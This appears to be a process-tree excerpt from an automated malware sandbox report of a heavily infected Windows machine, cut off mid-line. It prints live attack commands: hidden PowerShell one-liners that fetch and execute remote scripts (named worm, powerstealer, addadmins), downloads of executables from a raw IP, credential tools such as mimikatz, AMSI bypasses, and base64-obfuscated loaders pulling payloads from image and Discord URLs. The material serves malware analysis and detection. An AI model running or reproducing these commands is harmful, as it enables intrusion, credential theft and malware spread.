C:\Windows\system32\a\arphaCrashReport64.exearphaCrashReport64.exe3⤵
-
-
C:\Windows\system32\a\mimikatz.exemimikatz.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmdkey /list4⤵
-
C:\Windows\system32\cmdkey.execmdkey /list5⤵
-
-
-
-
C:\Windows\system32\a\hitpaw-edimakor-bing_8850.exehitpaw-edimakor-bing_8850.exe3⤵
-
-
C:\Windows\system32\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\a\AvamarConsoleMultiple-windows-x86_64-7.2.1-32.exeAvamarConsoleMultiple-windows-x86_64-7.2.1-32.exe3⤵
-
-
C:\Windows\system32\a\DowOnline.Installer.exeDowOnline.Installer.exe3⤵
-
-
C:\Windows\system32\a\SplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exeSplashtopSOS_Win_v3.8.0.1_HSL5K57RTHH5.exe3⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\a\Installer_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exeInstaller_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exe3⤵
-
-
C:\Windows\system32\a\db1300_20250926.exedb1300_20250926.exe3⤵
-
-
C:\Windows\system32\a\37cqsj.exe37cqsj.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
-
C:\Windows\system32\a\fo-wsftp605.exefo-wsftp605.exe3⤵
-
-
C:\Windows\system32\a\999880fb2f23445aa462ca830a504d0c_crypted_build.exe999880fb2f23445aa462ca830a504d0c_crypted_build.exe3⤵
-
-
C:\Windows\system32\a\AlphaUp-SSK.exeAlphaUp-SSK.exe3⤵
-
-
C:\Windows\system32\a\erererer.exeerererer.exe3⤵
-
-
C:\Windows\system32\a\high-level_7632.80.4076_INSTALL.exehigh-level_7632.80.4076_INSTALL.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\Setup_Vreugd_Online_Magneetkaart_1290.exeSetup_Vreugd_Online_Magneetkaart_1290.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File rs.ps13⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\shtw4hkz\shtw4hkz.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES560D.tmp" "c:\Users\Admin\AppData\Local\Temp\shtw4hkz\CSC98041CC066E34BB7892F6743DADC3BFC.TMP"5⤵
-
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +H +S "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\hidden\sh.exe"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\ipconfig.exe"C:\Windows\system32\ipconfig.exe"4⤵
- Gathers network information
-
-
C:\Windows\system32\quser.exe"C:\Windows\system32\quser.exe"4⤵
-
-
C:\Windows\system32\ROUTE.EXE"C:\Windows\system32\ROUTE.EXE" print4⤵
-
-
C:\Windows\system32\ARP.EXE"C:\Windows\system32\ARP.EXE" -a4⤵
- Network Service Discovery
-
-
C:\Windows\system32\ARP.EXE"C:\Windows\system32\ARP.EXE" -a4⤵
- Network Service Discovery
-
-
C:\Windows\system32\ARP.EXE"C:\Windows\system32\ARP.EXE" -a4⤵
- Network Service Discovery
-
-
C:\Windows\system32\ARP.EXE"C:\Windows\system32\ARP.EXE" -a4⤵
- Network Service Discovery
-
-
C:\Windows\system32\a\sh2.exe"sh2.exe"4⤵
-
-
C:\Windows\system32\a\sh3.exe"sh3.exe"4⤵
-
-
C:\Windows\system32\a\sh4.exe"sh4.exe"4⤵
-
-
C:\Windows\system32\a\sh5.exe"sh5.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/pivot.ps1 -useb).ReadToEnd() | iex"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/worm.ps1 -useb).ReadToEnd() | iex"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/rubeuspivot.ps1 -useb).ReadToEnd() | iex"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/ztinstall.ps1 -useb).ReadToEnd() | iex"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/powerstealer.ps1 -useb).ReadToEnd() | iex"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/addadmins.ps1 -useb).ReadToEnd() | iex"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/shwatchdog.ps1 -useb).ReadToEnd() | iex"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/bombthreat.ps1 -useb).ReadToEnd() | iex"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/changewallpaper.ps1 -useb).ReadToEnd() | iex"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps13⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2zizq3rq\2zizq3rq.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC02.tmp" "c:\Users\Admin\AppData\Local\Temp\2zizq3rq\CSCB9F4F5A5BC814199B38E48DAD3ADF8EE.TMP"5⤵
-
-
-
-
C:\Windows\system32\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Windows\system32\a\vnc.exevnc.exe3⤵
-
-
C:\Windows\system32\a\random.exerandom.exe3⤵
-
-
C:\Windows\regedit.exeregedit.exe /s aaa.reg3⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
- Runs .reg file with regedit
-
-
C:\Windows\system32\a\c3756a729c074f17956a9e2eb2b1aa08_crypted_build.exec3756a729c074f17956a9e2eb2b1aa08_crypted_build.exe3⤵
-
-
C:\Windows\system32\a\hide_exe.exehide_exe.exe3⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
- Drops file in System32 directory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del C:\Windows\system32\a\hide_exe.exe > nul4⤵
-
-
-
C:\Windows\system32\a\b5e36a1b20c5408f8914a406fc861d33_crypted_build.exeb5e36a1b20c5408f8914a406fc861d33_crypted_build.exe3⤵
- Drops file in System32 directory
-
-
C:\Windows\system32\a\gimger.exegimger.exe3⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe sfsd9898f98d9g898s9c9z9sd9f8s9f8w989393929f9s9df89sd9f89sd8f9.hta3⤵
-
-
C:\Windows\system32\a\YSdQm5F.exeYSdQm5F.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stein.ps13⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Aspnet_compiler.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe 1.hta3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe user_c.vbs3⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\guide.txt"4⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/Setup.msi' -OutFile 'C:\Users\Public\Setup.msi'"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/hello.exe' -OutFile 'C:\Users\Public\hello.exe'"4⤵
- Downloads MZ/PE file
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/bin' -OutFile 'C:\Users\Public\bin'"4⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Public & start "" "C:\Users\Public\hello.exe"4⤵
-
C:\Users\Public\hello.exe"C:\Users\Public\hello.exe"5⤵
-
-
-
-
C:\Windows\system32\a\Auo1.exeAuo1.exe3⤵
-
-
C:\Windows\system32\a\Advanced_4196.1.1150_INSTALL.exeAdvanced_4196.1.1150_INSTALL.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "NETLOCALSYS"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "NETLOCALSYS"1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k "NETLOCALSYS"1⤵
-
C:\ProgramData\ededaafccffec.exe"C:\ProgramData\ededaafccffec.exe"1⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Badlisted process makes network request
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0aW9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JiAoICRwc0hPbWVbNF0rJHBzaG9tZVszMF0rJ3gnKSgoKCdCcjdwc3ljaG9wYXRoaXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtCcjdwc3ljJysnaG9wYXRoaXN0LkhlYWRlcnMuQWRkKFF6ZlVzZXItQWdlbnRRemYsIFF6Zk1vemlsbGEvNS4wIChXJysnaW4nKydkb3dzICcrJ05UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LycrJzUzNycrJy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjIuMC42MjYxLjk1IFNhZmFyaS81MzcuMzZRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy5BZGQoUXpmQWNjZXB0UXpmLCBRemZ0ZXh0L2h0bWwsYXBwbGljYScrJ3Rpb24veCcrJ2h0bWwreG1sLGFwcGxpYycrJ2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhRemYpO0JyN3BzeWNob3BhdGhpc3QuSGVhZGVycy4nKydBZGQoUXpmQWNjZXB0LUxhbmd1YWdlUXpmLCBRemZlJysnbi1VUyxlbjtxPTAnKycuOVF6Zik7QnI3c2xpbmtpZScrJ3IgPSBRQVBodCcrJ3RwczovL3BuZ3VwLmNvbS9WbU8nKyd2L01TSV9QUk9fd2l0aF9iNicrJzQucG5nUUFQO0JyN2VzdHVhdGUgPSBCcjdwc3ljaG9wYXRoaXN0LkRvd25sb2FkRGF0YShCcjcnKydzbGlua2llJysncik7QnI3bXVsdGlwbGFuZXQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBJysnU0NJSS5HZXRTdHJpbmcoQnI3ZXN0dWF0ZSk7aWYgKEJyN211bHRpcGwnKydhbmV0IC1tYXRjaCBRQVBCYXNlU3RhcnQtKC4qPycrJyktQmFzZUVuZFFBUCkgeyAgQnI3YWxsZWdvcmlzdHMgJysnPSBCcjdtYXRjaGVzWzFdOyAgQnInKyc3cGFyYWZsb2NjdWx1cyA9IFtSZWZsZWN0a